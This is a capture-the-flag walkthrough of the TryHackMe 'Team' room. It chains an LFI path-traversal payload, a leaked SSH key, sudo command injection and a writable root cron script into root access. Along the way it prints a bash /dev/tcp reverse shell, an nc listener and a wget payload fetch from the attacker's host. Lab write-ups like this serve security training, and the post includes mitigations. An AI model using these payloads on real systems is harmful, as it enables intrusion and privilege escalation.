Skip to main content

🚩TryHackme Room Walkthrough: Team

TryHackMe room banner for Team showing the reverse engineering walkthrough title


🎯 Objective

The Team room is an easy Linux machine on designed to teach attack chaining. It walks through web and virtual host enumeration, LFI exploitation, credential hunting, command injection, and Linux privilege escalation techniques, demonstrating how several low-risk issues can combine to provide an attacker with full control over a system.

  • Room URL: https://tryhackme.com/room/teamcw
  • Category: Web Exploitation, Privilege Escalation
  • Difficulty: Easy
  • Points: 60
  • Tools: nmap, ftp, ffuf, python3, ssh, linpeas, pspy64, netcat

⚔️ Exploitation Steps

🔍Step 1: Initial Enumeration

  • As usual, Deploy the lab machine and kick things off with an nmap scan to discover open ports and running services.
    └─$ sudo nmap -T4 -A 10.49.183.125
    Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-16 20:38 +0530
    Nmap scan report for 10.49.183.125
    Host is up (0.030s latency).
    Not shown: 997 filtered tcp ports (no-response)
    PORT STATE SERVICE VERSION
    21/tcp open ftp vsftpd 3.0.5
    22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    | 3072 0d:7f:9f:c1:3f:d2:80:5a:85:6e:3d:b0:2b:4d:67:06 (RSA)
    | 256 40:ef:4a:a0:d1:c5:16:b5:86:00:0c:75:df:81:a3:a4 (ECDSA)
    |_ 256 3c:04:7c:5d:da:fa:11:0f:a3:bb:98:8a:be:d5:02:2f (ED25519)
    80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
    |_http-title: Apache2 Ubuntu Default Page: It works! If you see this add 'te...
    |_http-server-header: Apache/2.4.41 (Ubuntu)
  • The scan reveals three open ports: FTP on port 21, SSH on port 22, and a web server on port 80.
  • I also performed a quick UDP scan, but it didn't reveal anything interesting.
  • Since FTP is running, it's always worth checking whether anonymous authentication is enabled. - but it's not allowed here.
    └─$ ftp 10.48.183.125
    Connected to 10.48.183.125.
    220 (vsFTPd 3.0.5)
    Name (10.48.183.125:spyder): anonymous
    331 Please specify the password.
    Password:
    530 Login incorrect.
    ftp: Login failed
    ftp> exit
    221 Goodbye.
  • Since, Anonymous access is disabled, so without valid credentials, there isn't much we can do with FTP for now.
  • SSH is also available, but again, we'll need credentials or a key before we can make use of it.
  • Therefore, That leaves the web server as the most promising attack vector.

🌐Step 2: Web Enumeration

  • Visiting the web server on port 80 gives us with the default Apache landing page. Apache default landing page showing the initial web server response
  • At first glance, there doesn't seem to be much going on. I also attempted some directory brute-forcing, but nothing useful was discovered.
  • Whenever I encounter a seemingly empty page, I usually inspect the page source before moving on. Sometimes developers leave comments, hidden paths, or other hints behind.
  • Looking at the source code, an interesting title stands out: It suggests adding team.thm to the hosts file. Page source revealing the team.thm virtual host hint in the HTML title
  • Therefore, Add this <Machine-IP> team.thm entry to your /etc/hosts file.
  • After updating the hosts file, Open the http://team.thm website. Team.thm website homepage with static content after hosts file update
  • The website itself appears to be fairly simple. It mostly contains static content and a few images of different locations. I checked the source code and inspected some of the image paths, hoping they might expose additional directories or hidden content. Source code inspection showing image paths used by the team.thm website
  • Unfortunately, this didn't lead anywhere useful.
  • At this point, one thing caught my attention - We've already discovered one virtual host (team.thm), which often indicates that there may be others configured on the same web server. It seemed worthwhile to enumerate additional virtual hosts.

🏴Step 3: Virtual Host Enumeration

  • To enumerate potential virtual hosts, I used ffuf with a subdomain wordlist.
    └─$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.team.thm" -u http://10.49.183.125 -fs 11366

    /'___\ /'___\ /'___\
    /\ \__/ /\ \__/ __ __ /\ \__/
    \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
    \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
    \ \_\ \ \_\ \ \____/ \ \_\
    \/_/ \/_/ \/___/ \/_/

    v2.1.0-dev
    ________________________________________________

    :: Method : GET
    :: URL : http://10.49.183.125
    :: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
    :: Header : Host: FUZZ.team.thm
    :: Follow redirects : false
    :: Calibration : false
    :: Timeout : 10
    :: Threads : 40
    :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
    :: Filter : Response size: 11366
    ________________________________________________

    www [Status: 200, Size: 2966, Words: 140, Lines: 90, Duration: 1652ms]
    dev [Status: 200, Size: 187, Words: 20, Lines: 10, Duration: 2007ms]
    :: Progress: [5000/5000] :: Job [1/1] :: 177 req/sec :: Duration: [0:00:09] :: Errors: 0 ::
  • The scan quickly reveals an interesting host: dev.team.thm
  • Add it to the hosts file as well: <Machine-IP> dev.team.thm
  • Browsing to the newly discovered host reveals a very minimal page containing a single link. Minimal dev.team.thm landing page with a single navigation link
  • Clicking the link redirects us to another page. Redirected script page using a page parameter to load content dynamically
  • This page loads files via a ?page= parameter - a URL structure which looks suspicious as this pattern is often associated with Local File Inclusion (LFI) vulnerability.

📂Step 4: Exploiting Local File Inclusion

  • Since, The page appears to load files dynamically through a GET parameter, There is a high chance that it is often vulnerable to Local File Inclusion (LFI) vulnerability, where an attacker can manipulate the file path and read arbitrary files from the server.
  • To verify whether the application is vulnerable, I attempted to retrieve /etc/passwd using the following payload.
    http://dev.team.thm/script.php?page=/../../../../../../../etc/passwd
    LFI proof of concept showing /etc/passwd contents returned in the browser
  • It works. The /etc/passwd file is fully readable, confirming the LFI vulnerability. From it, we can identify two non-root users on the machine: dale and gyles.
  • Since SSH is running on the machine, recovering a user's private key would likely provide us with an initial foothold.
  • My first attempt was to access the SSH private keys of both users directly via LFI:
    /home/dale/.ssh/id_rsa/
    home/gyles/.ssh/id_rsa
  • Unfortunately, both attempts failed. This is likely because the web server process (www-data) doesn't have permission to read those files.
  • At this stage, I started looking for other sensitive files that might leak useful information.
  • One obvious candidate is the SSH server configuration file - /etc/sshh_config SSH configuration file disclosure showing a commented private key for dale
  • The sshd_config file reveals a commented-out id_rsa key for user dale. Copy it, strip the # from every line, save it as a key file on your attacking machine, and set the right permissions.
    chmod 600 key
  • Now SSH in as dale with the key we just got and retrieve the user flag. Successful SSH login as dale after recovering the private key
  • Hence, finally we have access to the machine as dale as well as recovered the user flag successfully.

⬆️Step 6: Privilege Escalation to gyles

  • With a foothold as dale, the next step is to look for ways to elevate our privileges. The first thing I usually check is whether the current user has any sudo permissions.
    dale@ip-10-49-183-125:~$ sudo -l
    Matching Defaults entries for dale on ip-10-49-183-125:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

    User dale may run the following commands on ip-10-49-183-125:
    (gyles) NOPASSWD: /home/gyles/admin_checks
  • This is immediately interesting. The user dale is allowed to execute /home/gyles/admin_checks as gyles without supplying a password.
  • To understand whether this can be abused, let's inspect the script.
    dale@ip-10-49-183-125:~$ cat /home/gyles/admin_checks
    #!/bin/bash

    printf "Reading stats.\n"
    sleep 1
    printf "Reading stats..\n"
    sleep 1
    read -p "Enter name of person backing up the data: " name
    echo $name >> /var/stats/stats.txt
    read -p "Enter 'date' to timestamp the file: " error
    printf "The Date is "
    $error 2>/dev/null

    date_save=$(date "+%F-%H-%M")
    cp /var/stats/stats.txt /var/stats/stats-$date_save.bak

    printf "Stats have been backed up\n"
  • After reviewing the script, one line stands out: `$error 2>/dev/null
  • The script takes user input and executes it directly as a command. Since the script itself runs as gyles, any command supplied here will also execute with gyles' privileges.
  • That's a command injection flaw. Whatever we type gets run as gyles.
  • To exploit this, simply execute the script and when prompted for the date input, enter /bin/bash instead.
  • This spawns a shell as gyles. To confirm the context, run: id command. Terminal showing command injection execution resulting in a shell as gyles
  • Now, We have a shell as gyles but It's not interactive yet, so let's fix that using the following command.
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    Spawned interactive bash shell after upgrading the gyles session
  • At this point, we have a stable interactive shell as gyles.

👑Step 7: Privilege Escalation to Root

  • Now that we've compromised gyles, the final objective is to reach root.
  • I started with the usual privilege escalation checks:sudo -l , crontab -l and cat /etc/crontab but none of these revealed anything particularly useful.
  • Therefore, I decided to transfer linpeas to the target machine and let it hunt for potential misconfigurations.
  • On the attacking machine, start a simple web server in the directory containing linpeas.sh.
    python -m http.server <PORT>
  • Then, from the target machine, download the script.
    wget http://<Your-IP>:<PORT>/linpeas.sh
  • Make it executable and run it.
    chmod +x linpeas.sh
    ./linpeas.sh
  • Among the findings, Linpeas flags an interesting backup script - which is owned by root, writable by members of the admin group and accessible to gyles who happens to be a member of that admin group. LinPEAS output highlighting the root-owned backup script writable by the admin group LinPEAS findings showing a writable backup script available to gyles via the admin group
  • Now, lets see the contents of this backup file. Contents of the root-owned backup script displayed for privilege escalation analysis
  • A root-owned script that's writable by a lower privileged user is usually a strong indicator that privilege escalation is within reach.
  • If this script runs automatically as root, we can inject a reverse shell into it. To confirm, download pspy64 onto the target and let it run for a minute or two.
  • After watching for a bit, pspy confirms the backup script runs periodically as root.
  • This confirms our privilege escalation path. pspy output confirming the backup script executes periodically as root
  • Now append a reverse shell to the backup script - /bin/bash -i >& /dev/tcp/<Your-IP>/<PORT> 0>&1
  • Start a listener on your attacking machine - nc -lvnp <PORT>
  • Wait for the script to execute. After a few moments, the connection comes back.
  • We now have a shell running as root. Finally, retrieve the root flag. Root shell obtained after modifying the backup script and catching the reverse connection
  • And with that, the machine is fully compromised and our room is completely solved.

⚠️ Vulnerability

This room didn't have one single vulnerability - it had a chain of small mistakes, and each one alone wasn't enough, but together they led straight to root.

  • It started with an LFI in script.php. The ?page= parameter loaded files directly from user input without any validation, allowing arbitrary files to be read from the server as www-data. That alone is dangerous, but what made it truly valuable was what we found by reading /etc/ssh/sshd_config: a private SSH key belonging to dale, commented out but still fully present in the config file that should never contain credentials. Someone had likely backed up or staged the key there and forgotten to remove it. The LFI gave us read access; the exposed key gave us a foothold.
  • The second issue was inside admin_checks, the script dale could run as gyles via sudo. The script asked for a date input and then executed whatever was typed directly as a shell command - $error 2>/dev/null - with no validation or sanitization on user-controlled input. That's a straightforward command injection, and because the script ran with gyles's privileges via sudo, our injected command did too.
  • The final piece was a backup script owned by root but writable by members of the admin group. Since gyles belongs to that group and the script is executed periodically by root, modifying it effectively allowed us to control what root executed next. Writable-by-low-privilege and executed-by-root is one of the most reliable privilege escalation patterns you'll encounter.

🛡️ Mitigation

  • The LFI existed because the application trusted user-controlled file paths. File inclusion functionality should be restricted to a predefined allowlist, and user input should never be used directly to construct filesystem paths.
  • The exposed SSH key is another example of poor secret management. Credentials should never live inside configuration files, even as comments. Comments don't protect sensitive information - if the data is present in the file, anyone who can read the file can recover it. Backup keys, if absolutely necessary, should be stored in a separate access-controlled location.
  • The command injection in admin_checks happened because user input was treated as a command. If the script simply needs the current date, it should call date itself instead of asking the user to provide something executable. More generally, user input should always be validated against an expected format and never passed directly to a shell.
  • Finally, scripts executed by root should only be writable by root. Granting group write permissions to scheduled tasks effectively gives every member of that group a path to compromise the entire system. Regular permission audits and adherence to the principle of least privilege would have prevented the final escalation step entirely.

📚 Lessons Learned

  • This machine is a good reminder that full system compromise rarely comes from a single devastating vulnerability. Instead, it was a series of smaller mistakes chained together - an LFI, an exposed SSH key, a command injection flaw, and an overly permissive root-owned script. Individually, each issue might seem minor, but together they formed a complete path to root. That's often how real-world compromises happen: attackers don't need one perfect vulnerability, they just need enough pieces to build an attack chain.
  • Another habit worth building is to read configuration files in their entirety rather than searching only for the setting you're interested in. sshd_config wasn't valuable because of its SSH settings; it was valuable because someone had accidentally left behind a private key. Misconfigurations, backups, comments, and forgotten artifacts often live in places that are easy to skim past.
  • Finally, whenever you can execute a script with elevated privileges, take the time to understand what it's doing before running it. The vulnerability in admin_checks wasn't hidden behind obfuscation or complex logic - it was sitting in plain sight. A few minutes spent reading a script line by line can often reveal privilege escalation opportunities that automated tools might miss.